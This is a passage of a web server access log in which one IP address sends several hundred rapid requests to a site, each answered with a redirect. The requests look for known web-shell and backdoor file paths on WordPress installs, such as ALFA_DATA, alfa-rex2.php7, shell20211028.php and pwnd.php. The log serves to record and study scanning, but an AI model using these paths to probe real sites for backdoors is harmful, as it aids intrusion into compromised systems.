[13/Apr/2025:14:01:54 -0400] "GET /wp-content/plugins/ygdfcil/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:54 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:54 -0400] "GET /certificates/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:55 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:55 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:55 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:55 -0400] "GET /wp-content/plugins/zgtzwun/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:56 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:56 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:56 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:57 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:57 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:57 -0400] "GET /wp-content/plugins/smelzou/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:58 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:58 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:58 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:58 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:59 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:59 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:01:59 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:00 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:00 -0400] "GET /.well-known/index HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:00 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:01 -0400] "GET /wp-content/plugins/fgcpghg/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:01 -0400] "GET /wp-content/plugins/uiaqgqm/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:01 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:02 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:02 -0400] "GET /wp-content/x/eew.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:02 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:02 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:03 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:03 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:03 -0400] "GET /wp-includes/languages/wp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:04 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:04 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:04 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:04 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:05 -0400] "GET /wp-includes/block-patterns/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:05 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:06 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:06 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:06 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:07 -0400] "GET /upload/files/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:07 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:08 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:08 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:09 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:09 -0400] "GET /wp-content/plugins/init HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:10 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:10 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:10 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:10 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:11 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:11 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:11 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:12 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:12 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:13 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:13 -0400] "GET /wordpress/wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:13 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:14 -0400] "GET /wp-includes/IXR/core.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:14 -0400] "GET /.tmb/LA.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:14 -0400] "GET /compressor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:14 -0400] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:15 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:15 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:16 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:16 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:17 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:17 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:18 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:18 -0400] "GET /wp-includes/aa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:18 -0400] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:19 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:19 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:19 -0400] "GET /wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:20 -0400] "GET /components/5173e.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:21 -0400] "GET /wp-includes/Requests/Utility/sys.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:21 -0400] "GET /lv.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:22 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:22 -0400] "GET /php.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:24 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:25 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:25 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:26 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:27 -0400] "GET /wp-content/themes/init HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:27 -0400] "GET /wp-admin/plugins/index HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:27 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:29 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:29 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:30 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:30 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:31 -0400] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:32 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:32 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:33 -0400] "GET /wp-includes/customize/Dj1Gk/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:33 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:34 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:34 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:34 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:35 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:35 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:36 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:36 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:36 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:37 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:37 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:38 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:38 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:38 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:39 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:40 -0400] "GET /assets/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:40 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:41 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:42 -0400] "GET /rating.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:43 -0400] "GET /wp-content/plugins/rneciwj/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:45 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:45 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:46 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:46 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:47 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:48 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:50 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:51 -0400] "GET /moderator.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:52 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:53 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:54 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:55 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:56 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:57 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:57 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:57 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:59 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:02:59 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:00 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:01 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:01 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:02 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:03 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:03 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:03 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:05 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:06 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:07 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:07 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:08 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:10 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:11 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:13 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:14 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:15 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:16 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:18 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:18 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:20 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:21 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:22 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:22 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:23 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:24 -0400] "GET /uploads/blog/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:26 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:27 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:29 -0400] "GET /js_editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:31 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:31 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:33 -0400] "GET /network.php999 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:34 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:35 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:36 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:38 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:39 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:41 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:41 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:41 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:42 -0400] "GET /wp-content/uploads/init HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:43 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:43 -0400] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:44 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:44 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:45 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:45 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:46 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:46 -0400] "GET /wp-content/themes/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:46 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:46 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:47 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:47 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:47 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:48 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:49 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:50 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:50 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:51 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:51 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:52 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:52 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:53 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:54 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:55 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:56 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:56 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:57 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:57 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:57 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:58 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:58 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:03:59 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:00 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:00 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:01 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:01 -0400] "GET /wp-admin/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:02 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:03 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:03 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:04 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:04 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:05 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:05 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:05 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:05 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:06 -0400] "GET /firewall.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:06 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:06 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:06 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.159.31 - - [13/Apr/2025:14:04:07 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 